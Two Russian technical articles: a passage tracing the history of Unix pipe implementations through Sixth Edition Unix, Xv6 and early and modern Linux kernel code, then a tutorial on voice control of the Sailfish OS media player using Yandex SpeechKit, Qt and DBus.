К следующему году ядро было переписано на С, а [pipe(2) в четвёртой редакции](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V4/man/man2/pipe.2) обрёл свой современный облик с прототипом «`pipe(fildes)`»:
> Системный вызов *pipe* создаёт механизм ввода вывода, который называется конвейером. Возвращаемые файловые дескрипторы можно использовать в операциях чтения и записи. Когда что-то записывается в конвейер, то используется дескриптор, возвращаемый в r1 (соотв. fildes[1]), то буферизуется до 4096 байтов данных, после чего процесс записи приостанавливается. При чтении из конвейера дескриптор, возвращаемый в r0 (соотв. fildes[0]), забирает данные.
>
>
>
> Предполагается, что после определения конвейера два (или более) взаимодействующих процесса (созданных последующими вызовами *fork*) будут передавать данные из конвейера с помощью вызовов *read* и *write*.
>
>
>
> В оболочке есть синтаксис для определения линейного массива процессов, соединённых посредством конвейера.
>
>
>
> Вызовы на чтение из пустого конвейера (не содержащего буферизированных данных), имеющего лишь один конец (закрыты все записывающие файловые дескрипторы), возвращают «конец файла». Вызовы на запись в аналогичной ситуации игнорируются.
Самая ранняя [сохранившаяся реализация конвейера](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V5/usr/sys/ken/pipe.c) относится [к пятой редакции Unix](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V5) (июнь 1974-го), но она почти идентична той, что появилась в следующем релизе. Лишь добавились комментарии, так что пятую редакцию можно пропустить.
Шестая редакция Unix (1975)
---------------------------
Начинаем читать исходный код Unix [шестой редакции](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6) (май 1975-го). Во многом благодаря *Lions* найти его гораздо легче, чем исходники более ранних версий:
> Многие годы книга *Lions* была единственным документом по ядру Unix, доступным вне стен Bell Labs. Хотя лицензия шестой редакции позволяла преподавателям использовать её исходный код, однако лицензия седьмой редакции исключила эту возможность, поэтому книга распространялась в виде нелегальных машинописных копий.
Сегодня можно купить репринтный экземпляр книги, на обложке которой изображены студенты у копировального аппарата. А благодаря Уоррену Туми (который запустил проект TUHS) вы можете скачать [PDF-файл с исходным кодом шестой редакции](http://v6.cuzuco.com/). Хочу дать вам представление, сколько сил ушло на создание файла:
> Больше 15 лет назад я набрал копию исходного кода, приведённого в *Lions*, потому что мне не нравилось качество моей копии с неизвестного количества других копий. TUHS ещё не существовало, и у меня не было доступа к старым исходникам. Но в 1988-м я нашёл старую ленту с 9 дорожками, на которой была резервная копия из компьютера PDP11. Трудно было понять, работает ли она, но там было неповреждённое дерево /usr/src/, в котором большинство файлов были помечены 1979-м годом, что уже тогда выглядело древностью. Это была седьмая редакция или её производная PWB, как я считал.
>
>
>
> Я взял находку за основу и вручную отредактировал исходники до состояния шестой редакции. Часть кода осталась такой же, часть пришлось слегка подредактировать, поменяв современный токен += на устаревший =+. Что-то просто удалил, а что-то пришлось полностью переписать, но не слишком много.
И сегодня мы можем в онлайне читать на TUHS исходный код шестой редакции из [архива, к которому приложил руку Деннис Ричи](http://minnie.tuhs.org/Archive/Distributions/Research/Dennis_v6/).
Кстати, на первый взгляд, главной особенностью С-кода до периода Кернигана и Ричи является его *краткость*. Не так часто мне удаётся вставлять фрагменты кода без обширного редактирования, чтобы он соответствовал относительно узкой области отображения на моём сайте.
В начале [/usr/sys/ken/pipe.c](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/pipe.c) есть поясняющий комментарий (и да, там есть ещё [/usr/sys/dmr](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/dmr)):
```
/*
* Max allowable buffering per pipe.
* This is also the max size of the
* file created to implement the pipe.
* If this size is bigger than 4096,
* pipes will be implemented in LARG
* files, which is probably not good.
*/
#define PIPSIZ 4096
```
Размер буфера не менялся со времён четвёртой редакции. Но здесь мы безо всякой публичной документации видим, что когда-то конвейеры использовали файлы в качестве запасного хранилища!
Что касается LARG-файлов, то они соответствуют [inode-флагу LARG](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/inode.h), который используется «алгоритмом большой адресации» для обработки [косвенных (indirect) блоков](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/subr.c) с целью поддержки более крупных файловых систем. Раз Кен сказал, что лучше их не использовать, то я с радостью поверю ему на слово.
Вот настоящий системный вызов `pipe`:
```
/*
* The sys-pipe entry.
* Allocate an inode on the root device.
* Allocate 2 file structures.
* Put it all together with flags.
*/
pipe()
{
register *ip, *rf, *wf;
int r;
ip = ialloc(rootdev);
if(ip == NULL)
return;
rf = falloc();
if(rf == NULL) {
iput(ip);
return;
}
r = u.u_ar0[R0];
wf = falloc();
if(wf == NULL) {
rf->f_count = 0;
u.u_ofile[r] = NULL;
iput(ip);
return;
}
u.u_ar0[R1] = u.u_ar0[R0]; /* wf's fd */
u.u_ar0[R0] = r; /* rf's fd */
wf->f_flag = FWRITE|FPIPE;
wf->f_inode = ip;
rf->f_flag = FREAD|FPIPE;
rf->f_inode = ip;
ip->i_count = 2;
ip->i_flag = IACC|IUPD;
ip->i_mode = IALLOC;
}
```
В комментарии ясно описано, что тут происходит. Но разобраться в коде не так просто, отчасти из-за того, как с помощью «[struct user u](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/user.h)» и регистров `R0` и `R1` передаются параметры системных вызовов и возвращаемые значения.
Попробуем с помощью [ialloc()](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/alloc.c) разместить на диске [inode (индексный дескриптор)](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/inode.h), а с помощью [falloc()](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/fio.c) — разместить в памяти два [файла](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/file.h). Если всё пройдёт хорошо, то мы зададим флаги для определения этих файлов как двух концов конвейера, укажем их в том же inode (чей счётчик ссылок станет равен 2), и пометим inode как изменённый и использующийся. Обратите внимание на обращения к [iput()](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/iget.c) в ошибочных путях (error paths) для уменьшения счётчика ссылок в новом inode.
`pipe()` должен через `R0` и `R1` возвращать номера файловых дескрипторов для чтения и записи. `falloc()` возвращает указатель на файловую структуру, но также «возвращает» через `u.u_ar0[R0]` и файловый дескриптор. То есть код сохраняет в `r` файловый дескриптор для чтения и присваивает дескриптор для записи прямо из `u.u_ar0[R0]` после второго вызова `falloc()`.
Флаг `FPIPE`, который мы задали при создании конвейера, управляет поведением функции [rdwr() в sys2.c](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/sys2.c), вызывающей конкретные подпрограммы ввода-вывода I/O:
```
/*
* common code for read and write calls:
* check permissions, set base, count, and offset,
* and switch out to readi, writei, or pipe code.
*/
rdwr(mode)
{
register *fp, m;
m = mode;
fp = getf(u.u_ar0[R0]);
/* … */
if(fp->f_flag&FPIPE) {
if(m==FREAD)
readp(fp); else
writep(fp);
}
/* … */
}
```
Затем функция `readp()` в `pipe.c` считывает данные из конвейера. Но проследить реализацию лучше начиная с `writep()`. Повторюсь, код усложнился из-за особенностей соглашения о передаче аргументов, но некоторые подробности можно опустить.
```
writep(fp)
{
register *rp, *ip, c;
rp = fp;
ip = rp->f_inode;
c = u.u_count;
loop:
/* If all done, return. */
plock(ip);
if(c == 0) {
prele(ip);
u.u_count = 0;
return;
}
/*
* If there are not both read and write sides of the
* pipe active, return error and signal too.
*/
if(ip->i_count < 2) {
prele(ip);
u.u_error = EPIPE;
psignal(u.u_procp, SIGPIPE);
return;
}
/*
* If the pipe is full, wait for reads to deplete
* and truncate it.
*/
if(ip->i_size1 == PIPSIZ) {
ip->i_mode =| IWRITE;
prele(ip);
sleep(ip+1, PPIPE);
goto loop;
}
/* Write what is possible and loop back. */
u.u_offset[0] = 0;
u.u_offset[1] = ip->i_size1;
u.u_count = min(c, PIPSIZ-u.u_offset[1]);
c =- u.u_count;
writei(ip);
prele(ip);
if(ip->i_mode&IREAD) {
ip->i_mode =& ~IREAD;
wakeup(ip+2);
}
goto loop;
}
```
На вход конвейера мы хотим записать байты `u.u_count`. Сначала потребуем заблокировать индексный дескриптор (см. ниже `plock`/`prele`).
Затем проверяем счётчик ссылок inode. Пока оба конца конвейера остаются открытыми, счётчик должен быть равен 2. Мы придерживаем одну ссылку (из `rp->f_inode`), так что если счётчик будет меньше 2, то это должно означать, что читающий процесс закрыл свой конец конвейера. Иными словами, мы пытаемся писать в закрытый конвейер, а это является ошибкой. Впервые код ошибки `EPIPE` и сигнал `SIGPIPE` появились в шестой редакции Unix.
Но даже если конвейер открыт, он может быть заполнен. В этом случае мы снимаем блокировку и идём спать в надежде, что другой процесс прочитает из конвейера и освободит в нём достаточно места. Проснувшись, мы возвращаемся к началу, опять вешаем блокировку и запускаем новый цикл записи.
Если в конвейере достаточно свободного места, то мы записываем в него данные с помощью [writei()](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/rdwri.c). Параметр `i_size1` у inode'а (при пустом конвейере может быть равен 0) указывает на конец данных, которые в нём уже содержатся. Если места для записи достаточно, мы можем заполнить конвейер от `i_size1` до `PIPESIZ`. Затем снимаем блокировку и пытаемся пробудить любой процесс, который ждёт возможности прочитать из конвейера. Возвращаемся к началу, чтобы посмотреть, удалось ли записать столько байтов, сколько нам было нужно. Если не удалось, то начинаем новый цикл записи.
Обычно параметр `i_mode` у inode'а используется для хранения разрешений `r`, `w` и `x`. Но в случае с конвейерами мы сигнализируем об ожидании каким-то процессом записи или чтения с помощью битов `IREAD` и `IWRITE` соответственно. Процесс задаёт флаг и вызывает `sleep()`, и ожидается, что будущем какой-то другой процесс вызовет `wakeup()`.
Настоящее волшебство происходит в `sleep()` и `wakeup()`. Они реализованы в [slp.c](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/slp.c), источнике знаменитого комментария «Вы не обязаны это понимать» (You are not expected to understand this). К счастью, мы не обязаны понимать код, просто посмотрим некоторые комментарии:
```
/*
* Give up the processor till a wakeup occurs
* on chan, at which time the process
* enters the scheduling queue at priority pri.
* The most important effect of pri is that when
* pri<0 a signal cannot disturb the sleep;
* if pri>=0 signals will be processed.
* Callers of this routine must be prepared for
* premature return, and check that the reason for
* sleeping has gone away.
*/
sleep(chan, pri) /* … */
/*
* Wake up all processes sleeping on chan.
*/
wakeup(chan) /* … */
```
Процесс, который вызывает `sleep()` для определённого канала, может быть позднее разбужен другим процессом, который вызовет `wakeup()` для того же канала. `writep()` и `readp()` координируют свои действия посредством таких парных вызовов. Обратите внимание, что `pipe.c` всегда отдаёт приоритет `PPIPE` при вызове `sleep()`, поэтому все `sleep()` могут прерываться по сигналу.
Теперь у нас есть всё, чтобы разобраться в функции `readp()`:
```
readp(fp)
int *fp;
{
register *rp, *ip;
rp = fp;
ip = rp->f_inode;
loop:
/* Very conservative locking. */
plock(ip);
/*
* If the head (read) has caught up with
* the tail (write), reset both to 0.
*/
if(rp->f_offset[1] == ip->i_size1) {
if(rp->f_offset[1] != 0) {
rp->f_offset[1] = 0;
ip->i_size1 = 0;
if(ip->i_mode&IWRITE) {
ip->i_mode =& ~IWRITE;
wakeup(ip+1);
}
}
/*
* If there are not both reader and
* writer active, return without
* satisfying read.
*/
prele(ip);
if(ip->i_count < 2)
return;
ip->i_mode =| IREAD;
sleep(ip+2, PPIPE);
goto loop;
}
/* Read and return */
u.u_offset[0] = 0;
u.u_offset[1] = rp->f_offset[1];
readi(ip);
rp->f_offset[1] = u.u_offset[1];
prele(ip);
}
```
Возможно, вам будет проще читать эту функцию снизу вверх. Ветка «read and return» обычно используется, когда в конвейере есть какие-то данные. В этом случае мы с помощью [readi()](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/rdwri.c) считываем столько данных, сколько доступно начиная с текущего `f_offset` чтения, а затем обновляем значение соответствующего смещения.
При последующем чтении конвейер будет пустым, если смещение чтения достигло значения `i_size1` у inode'а. Мы сбрасываем позицию на 0 и пытаемся пробудить любой процесс, который хочет записать в конвейер. Мы знаем, что когда конвейер будет полон, `writep()` заснёт на `ip+1`. А теперь, когда конвейер пуст, мы можем пробудить его, чтобы он возобновил свой цикл записи.
Если читать нечего, то `readp()` может задать флаг `IREAD` и заснуть на `ip+2`. Мы знаем, что его пробудит `writep()`, когда запишет в конвейер какие-нибудь данные.
Комментарии к [readi() и writei()](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V6/usr/sys/ken/rdwri.c) помогут понять, что вместо передачи параметров через «`u`» мы можем обращаться с ними как с обычными функциями ввода-вывода, которые берут файл, позицию, буфер в памяти, и подсчитывают количество байтов для чтения или записи.
```
/*
* Read the file corresponding to
* the inode pointed at by the argument.
* The actual read arguments are found
* in the variables:
* u_base core address for destination
* u_offset byte offset in file
* u_count number of bytes to read
* u_segflg read to kernel/user
*/
readi(aip)
struct inode *aip;
/* … */
/*
* Write the file corresponding to
* the inode pointed at by the argument.
* The actual write arguments are found
* in the variables:
* u_base core address for source
* u_offset byte offset in file
* u_count number of bytes to write
* u_segflg write to kernel/user
*/
writei(aip)
struct inode *aip;
/* … */
```
Что касается «консервативной» блокировки, то `readp()` и `writep()` блокируют inode до тех пор, пока не закончат работу или не получат результат (то есть вызовут `wakeup`). `plock()` и `prele()` работают просто: с помощью другого набора вызовов `sleep` и `wakeup` позволяют нам пробуждать любой процесс, которому нужна блокировка, которую мы только что сняли:
```
/*
* Lock a pipe.
* If its already locked, set the WANT bit and sleep.
*/
plock(ip)
int *ip;
{
register *rp;
rp = ip;
while(rp->i_flag&ILOCK) {
rp->i_flag =| IWANT;
sleep(rp, PPIPE);
}
rp->i_flag =| ILOCK;
}
/*
* Unlock a pipe.
* If WANT bit is on, wakeup.
* This routine is also used to unlock inodes in general.
*/
prele(ip)
int *ip;
{
register *rp;
rp = ip;
rp->i_flag =& ~ILOCK;
if(rp->i_flag&IWANT) {
rp->i_flag =& ~IWANT;
wakeup(rp);
}
}
```
Сначала я не мог понять, почему `readp()` не вызывает `prele(ip)` до вызова `wakeup(ip+1)`. Первое, что `writep()` вызывает в своём цикле, это `plock(ip)`, который приводит к взаимоблокировке, если `readp()` ещё не снял свой блок, поэтому код каким-то образом должен работать правильно. Если посмотреть на `wakeup()`, то становится понятно, что он только помечает спящий процесс как готовый к исполнению, чтобы в будущем `sched()` действительно запустила его. Так что `readp()` вызывает `wakeup()`, снимает блокировку, задаёт `IREAD` и вызывает `sleep(ip+2)`— всё это до того, как `writep()` возобновляет цикл.
На этом описание конвейеров в шестой редакции закончено. Простой код, далеко идущие последствия.
[Седьмая редакция Unix](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V7) (январь 1979-го) была новым основным релизом (спустя четыре года), в которой появилось много новых приложений и свойств ядра. Также в нём произошли значительные изменения в связи с использованием приведения типов, union’ов и типизированных указателей на структуры. Однако [код конвейеров](https://minnie.tuhs.org/cgi-bin/utree.pl?file=V7/usr/sys/sys/pipe.c) практически не изменился. Можем пропустить эту редакцию.
Xv6, простое Unix-образное ядро
-------------------------------
На создание ядра [Xv6](https://pdos.csail.mit.edu/6.828/2019/xv6.html) повлияла шестая редакция Unix, однако оно написано на современном С, чтобы его запускали на x86-процессорах. Код легко читать, он понятен. К тому же, в отличие от исходников Unix с TUHS, вы можете скомпилировать его, модифицировать и запустить на чём-то ещё кроме PDP 11/70. Поэтому это ядро широко используется в вузах как учебный материал по операционным системам. Исходники [лежат на Github](https://github.com/mit-pdos/xv6-public).
В коде содержится понятная и продуманная реализация [pipe.c](https://github.com/mit-pdos/xv6-public/blob/master/pipe.c), подкреплённая буфером в памяти вместо inode на диске. Здесь я привожу только определение «структурного конвейера» и функции `pipealloc()`:
```
#define PIPESIZE 512
struct pipe {
struct spinlock lock;
char data[PIPESIZE];
uint nread; // number of bytes read
uint nwrite; // number of bytes written
int readopen; // read fd is still open
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
struct pipe *p;
p = 0;
*f0 = *f1 = 0;
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
goto bad;
p->readopen = 1;
p->writeopen = 1;
p->nwrite = 0;
p->nread = 0;
initlock(&p->lock, "pipe");
(*f0)->type = FD_PIPE;
(*f0)->readable = 1;
(*f0)->writable = 0;
(*f0)->pipe = p;
(*f1)->type = FD_PIPE;
(*f1)->readable = 0;
(*f1)->writable = 1;
(*f1)->pipe = p;
return 0;
bad:
if(p)
kfree((char*)p);
if(*f0)
fileclose(*f0);
if(*f1)
fileclose(*f1);
return -1;
}
```
`pipealloc()` задаёт состояние все остальной реализации, которая включает в себя функции `piperead()`, `pipewrite()` и `pipeclose()`. Фактический системный вызов `sys_pipe` является обёрткой, реализованной в [sysfile.c](https://github.com/mit-pdos/xv6-public/blob/master/sysfile.c). Рекомендую прочесть весь его код. Сложность на уровне исходника шестой редакции, но читать гораздо легче и приятнее.
Linux 0.01
----------
Можно найти исходный код Linux 0.01. Будет поучительно изучить реализацию конвейеров в его `fs`/`pipe.c`. Здесь для представления конвейера используется inode, но сам конвейер написан на современном C. Если вы продрались через код шестой редакции, то здесь вы не испытаете трудностей. Так выглядит функция `write_pipe()`:
```
int write_pipe(struct m_inode * inode, char * buf, int count)
{
char * b=buf;
wake_up(&inode->i_wait);
if (inode->i_count != 2) { /* no readers */
current->signal |= (1<<(SIGPIPE-1));
return -1;
}
while (count-->0) {
while (PIPE_FULL(*inode)) {
wake_up(&inode->i_wait);
if (inode->i_count != 2) {
current->signal |= (1<<(SIGPIPE-1));
return b-buf;
}
sleep_on(&inode->i_wait);
}
((char *)inode->i_size)[PIPE_HEAD(*inode)] =
get_fs_byte(b++);
INC_PIPE( PIPE_HEAD(*inode) );
wake_up(&inode->i_wait);
}
wake_up(&inode->i_wait);
return b-buf;
}
```
Даже не глядя на определения структур можно разобраться, как счётчик ссылок inode используется для проверки, приводит ли операция записи к `SIGPIPE`. Помимо побайтовой работы эту функцию легко сопоставить с вышеописанными идеями. Даже логика `sleep_on`/`wake_up` не выглядит такой чужеродной.
Современные ядра Linux, FreeBSD, NetBSD, OpenBSD
------------------------------------------------
Я быстро пробежался по некоторым современным ядрам. Ни в одном из них уже нет реализации с использованием диска (не удивительно). В Linux своя собственная реализация. И хотя три современных BSD-ядра содержат реализации на основе кода, который был написан Джоном Дайсоном, за прошедшие годы они стали слишком сильно отличаться друг от друга.
Чтобы читать `fs`/`pipe.c` (на Linux) или `sys`/`kern`/`sys_pipe.c` (на \*BSD), требуется настоящая самоотдача. Сегодня в коде важны производительность и поддержка таких функций, как векторные и асинхронные операции ввода-вывода. А подробности выделения памяти, блокировок и конфигурации ядра — всё это сильно разнится. Это не то, что нужно вузам для вводного курса по операционным системам.
В любом случае, мне было интересно раскопать несколько старинных паттернов (например, генерирование `SIGPIPE` и возврат `EPIPE` при записи в закрытый конвейер) во всех этих, таких разных, современных ядрах. Вероятно, я никогда не увижу вживую компьютер PDP-11, но ещё есть чему поучиться на коде, который был написан за несколько лет до моего рождения.
Написанная Диви Капуром в 2011-м году статья «[The Linux Kernel Implementation of Pipes and FIFOs](https://www.slideshare.net/divyekapoor/linux-kernel-implementation-of-pipes-and-fifos)» представляет собой обзор, как работают (до сих пор) конвейеры в Linux. А [недавний коммит в Linux](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=0ddad21d3e99c743a3aa473121dc5561679e26bb) иллюстрирует конвейерную модель взаимодействия, чьи возможности превышают возможности временных файлов; а также показывает, насколько далеко ушли конвейеры от «очень консервативной блокировки» в ядре Unix шестой редакции. | https://habr.com/ru/post/495484/ | null | ru | null |
# Управляем стандартным плеером Sailfish OS с помощью голосовых команд
Многие знают и пользуются такими возможностями операционной системы Android, как Google Now и Google Assistant, которые позволяют не только вовремя получать полезную информацию и что-либо искать в интернете, но и управлять устройством с помощью голосовых команд. К сожалению, Sailfish OS (операционная система, разрабатываемая финской компанией Jolla и российской компанией Открытая мобильная платформа) не предоставляет такой возможности «из коробки». Как результат, было решено восполнить отсутствие этих удобств своими силами. Одной из функций разрабатываемого решения является возможность управления музыкальным плеером с помощью голосовых команд, техническая сторона которой и будет рассмотрена в данной статье.
Для внедрения распознавания и выполнения голосовых команд потребуется пройти четыре простых шага:
1. разработать систему команд,
2. реализовать распознавание речи,
3. реализовать идентификацию и выполнение команд,
4. добавить обратную голосовую связь.
Предполагается, что, для лучшего понимания материала, читатель уже имеет базовые знания о C++, JavaScript, Qt, QML и Linux и ознакомился с [примером их взаимодействия в рамках Sailfish OS](https://sailfishos.org/wiki/Tutorial_-_Combining_C%2B%2B_with_QML). Также может быть полезным предварительное знакомство с [лекцией по смежной тематике](https://www.youtube.com/watch?v=aLMeu9ovuJs), проведённой в рамках Летней школы Sailfish OS в Иннополисе летом 2016 года, и другими статьями посвященными разработке под данную платформу, которые уже были опубликованы на Хабре.
### Разработка системы команд
Разберём простой пример, ограниченный пятью функциями:
* запуск нового воспроизведения музыки,
* возобновление воспроизведения музыки,
* приостановка воспроизведения музыки,
* переход к следующей композиции,
* переход к предыдущей композиции.
Для запуска нового воспроизведения требуется проверить наличие открытого экземпляра плеера (при необходимости создать) и начать воспроизведение музыки в случайном порядке. Для активации будем использовать команду «Включи музыку».
В случае с возобновлением и приостановлением воспроизведения требуется проверить состояние плеера и, при наличии возможности, запустить воспроизведение или поставить его на паузу. Для возобновления воспроизведения будем использовать команду «Играй»; для постановки на паузу — команды «Пауза» и «Стоп».
В случае с навигацией по композициям действует указанный выше принцип проверки состояния аудиоплеера. Для активации навигации вперёд используем команды «Вперёд», «Дальше» и «Следующий»; для активации навигации назад — команды «Назад» и «Предыдущий».
### Распознавание речи
Процесс распознавания речевых команд разделяется на три этапа:
1. запись голосовой команды в файл,
2. распознавание команды на сервере,
3. идентификация команды на устройстве.
##### Запись голосовой команды в файл
В начале необходимо сформировать интерфейс пользователя для захвата голосовой команды. С целью упрощения примера, будем начинать и заканчивать запись по нажатию на кнопку, так как реализация процесса обнаружения начала и конца голосовой команды заслуживает отдельного материала.
```
IconButton {
property bool isRecording: false
width: Theme.iconSizeLarge
height: Theme.iconSizeLarge
icon.source: isRecording ? "image://theme/icon-m-search" :
"image://theme/icon-m-mic"
onClicked: {
if (isRecording) {
isRecording = false
recorder.stopRecord()
yandexSpeechKitHelper.recognizeQuery(recorder.getActualLocation())
} else {
isRecording = true
recorder.startRecord()
}
}
}
```
Из кода, представленного выше, видно, что кнопка использует стандартные значения размеров и стандартные иконки (интересная особенность Sailfish OS для унификации интерфейсов приложений) и имеет два состояния. В первом состоянии, когда запись не производится, после нажатия на кнопку начинается запись голосовой команды. Во втором состоянии, когда запись команды активна, после нажатия на кнопку запись останавливается и начинается распознавание голоса.
Для записи речи будем использовать класс [QAudioRecorder](http://doc.qt.io/qt-5/qaudiorecorder.html), предоставляющий высокоуровневый интерфейс управления входным аудиопотоком, а также [QAudioEncoderSettings](http://doc.qt.io/qt-5/qaudioencodersettings.html) для настройки процесса записи.
```
class Recorder : public QObject
{
Q_OBJECT
public:
explicit Recorder(QObject *parent = 0);
Q_INVOKABLE void startRecord();
Q_INVOKABLE void stopRecord();
Q_INVOKABLE QUrl getActualLocation();
Q_INVOKABLE bool isRecording();
private:
QAudioRecorder _audioRecorder;
QAudioEncoderSettings _settings;
bool _recording = false;
};
Recorder::Recorder(QObject *parent) : QObject(parent) {
_settings.setCodec("audio/PCM");
_settings.setQuality(QMultimedia::NormalQuality);
_audioRecorder.setEncodingSettings(_settings);
_audioRecorder.setContainerFormat("wav");
}
void Recorder::startRecord() {
_recording = true;
_audioRecorder.record();
}
void Recorder::stopRecord() {
_recording = false;
_audioRecorder.stop();
}
QUrl Recorder::getActualLocation() {
return _audioRecorder.actualLocation();
}
bool Recorder::isRecording() {
return _recording;
}
```
Здесь указывается, что запись команды будет вестись в формате wav в нормальном качестве, а также определяются методы для начала и окончания записи, для получения места хранения аудиофайла и состояния процесса записи.
##### Распознавание команды на сервере
Для трансляции аудиофайла в текст будет использоваться [сервис Яндекс SpeechKit Cloud](https://tech.yandex.ru/speechkit/cloud/). Всё, что требуется для начала работы с ним — это получить токен в [кабинете разработчика](https://developer.tech.yandex.ru). [Документация сервиса](https://tech.yandex.ru/speechkit/cloud/doc/intro/overview/concepts/about-docpage/) достаточно подробная, поэтому будем останавливаться лишь на частных моментах.
Первым шагом передадим записанную команду на сервер.
```
void YandexSpeechKitHelper::recognizeQuery(QString path_to_file) {
QFile *file = new QFile(path_to_file);
if (file->open(QIODevice::ReadOnly)) {
QUrlQuery query;
query.addQueryItem("key", "API_KEY");
query.addQueryItem("uuid", _buildUniqID());
query.addQueryItem("topic", "queries");
QUrl url("https://asr.yandex.net/asr_xml");
url.setQuery(query);
QNetworkRequest request(url);
request.setHeader(QNetworkRequest::ContentTypeHeader, "audio/x-wav");
request.setHeader(QNetworkRequest::ContentLengthHeader, file->size());
_manager->post(request, file->readAll());
file->close();
}
file->remove();
}
```
Здесь формируется POST-запрос к серверу Яндекс, в котором передаются полученный токен, уникальный ID устройства (в данном случае используется MAC-адрес WiFi-модуля) и тип запроса (здесь использован «queries», так как при голосовом взаимодействии с устройством чаще всего используются короткие и точные команды). В заголовках запроса указываются формат аудиофайла и его размер, в теле — непосредственно содержимое. После передачи запроса на сервер файл удаляется за ненадобностью.
В качестве ответа сервер SpeechKit Cloud возвращает XML с вариантами распознавания и степенью уверенности в них. Воспользуемся стандартными средствами Qt для выделения требуемой информации.
```
void YandexSpeechKitHelper::_parseResponce(QXmlStreamReader *element) {
double idealConfidence = 0;
QString idealQuery;
while (!element->atEnd()) {
element->readNext();
if (element->tokenType() != QXmlStreamReader::StartElement) continue;
if (element->name() != "variant") continue;
QXmlStreamAttribute attr = element->attributes().at(0);
if (attr.value().toDouble() > idealConfidence) {
idealConfidence = attr.value().toDouble();
element->readNext();
idealQuery = element->text().toString();
}
}
if (element->hasError()) qDebug() << element->errorString();
emit gotResponce(idealQuery);
}
```
Здесь последовательно просматривается полученный ответ и, для тегов variant, проверяются показатели точности распознавания. Если новый вариант корректнее, то он сохраняется, а сканирование продолжается дальше. По окончанию просмотра ответа посылается сигнал с выделенным текстом команды.
##### Идентификация команды на устройстве
Наконец, остаётся идентифицировать команду. По окончанию работы метода *YandexSpeechKitHelper::\_parseResponce*, как было указано выше, посылается сигнал *gotResponce*, содержащий текст команды. Далее требуется его обработать в QML-коде программы.
```
Connections {
target: yandexSpeechKitHelper
onGotResponce: {
switch (query.toLowerCase()) {
case "включи музыку":
dbusHelper.startMediaplayerIfNeed()
mediaPlayer.shuffleAndPlay()
break;
case "играй":
mediaPlayerControl.play()
break;
case "пауза":
case "стоп":
mediaPlayerControl.pause()
break;
case "вперед":
case "дальше":
case "следующий":
mediaPlayerControl.next()
break;
case "назад":
case "предыдущий":
mediaPlayerControl.previous()
break;
default:
generateErrorMessage(query)
break;
}
}
}
```
Здесь используется элемент Connections для обработки поступающего сигнала и сравнения распознанной команды с шаблонами голосовых команд, определёнными ранее.
### Управление работающим плеером
Если аудиоплеер открыт, то с ним воможно взаимодействовать через [стандартный DBus-интерфейс](https://specifications.freedesktop.org/mpris-spec/latest/index.html), доставшийся от большого linux-брата. С его помощью можно перемещаться по списку воспроизведения, начинать или приостанавливать воспроизведение. Делается это с использованием QML-элемента [DBusInterface](https://sailfishos.org/develop/docs/nemo-qml-plugin-dbus/qml-org-nemomobile-dbus-dbusinterface.html/).
```
DBusInterface {
id: mediaPlayerControl
service: "org.mpris.MediaPlayer2.jolla-mediaplayer"
iface: "org.mpris.MediaPlayer2.Player"
path: "/org/mpris/MediaPlayer2"
function play() {
call("Play", undefined)
}
function pause() {
call("Pause", undefined)
}
function next() {
call("Next", undefined)
}
function previous() {
call("Previous", undefined)
call("Previous", undefined)
}
}
```
С помощью данного элемента используется DBus-интерфейс стандартного аудиоплеера путём определения четырёх базовых функций. Параметр *undefined* функции *call* передаётся в том случае, если DBus-метод не принимает аргументов.
Стоит отметить, что для перехода к предыдущей композиции метод Previous вызывается два раза, так как его одиночный вызов приводит к воспроизведению текущей композиции с начала.
### Запуск воспроизведения с нуля
В управлении уже работающим плеером ничего сложного нет. Однако, если имеется желание начать воспроизведение музыки, когда он закрыт — возникает проблема, так как, по умолчанию, функционал запуска стандартного плеера с одновременным воспроизведением всей коллекции не предоставляется.
Но не стоит забывать о том, что Sailfish OS — операционная система с открытым исходным кодом, доступная для свободной модификации. В следствие этого возникшую проблему можно решить в два этапа:
* Расширить функции, предоставляемые плеером через DBus-интерфейс;
* Реализовать запуск плеера (при необходимости) и начать воспроизведение сразу после запуска.
##### Расширение функций стандартного аудиоплеера
Стандартный аудиоплеер, помимо интерфейса *org.mpris.MediaPlayer2.Player*, предоставляет интерфейс *com.jolla.mediaplayer.ui*, определённый в файле */usr/share/jolla-mediaplayer/mediaplayer.qml*. Из этого следует, что возможно модифицировать данный файл, добавив необходимую нам функцию.
```
DBusAdaptor {
service: "com.jolla.mediaplayer"
path: "/com/jolla/mediaplayer/ui"
iface: "com.jolla.mediaplayer.ui"
function openUrl(arg) {
if (arg[0] == undefined) {
return false
}
AudioPlayer.playUrl(Qt.resolvedUrl(arg[0]))
if (!pageStack.currentPage || pageStack.currentPage.objectName !== "PlayQueuePage") {
root.pageStack.push(playQueuePage, {}, PageStackAction.Immediate)
}
activate()
return true
}
function shuffleAndPlay() {
AudioPlayer.shuffleAndPlay(allSongModel, allSongModel.count)
if (!pageStack.currentPage || pageStack.currentPage.objectName !== "PlayQueuePage") {
root.pageStack.push(playQueuePage, {}, PageStackAction.Immediate)
}
activate()
return true
}
}
```
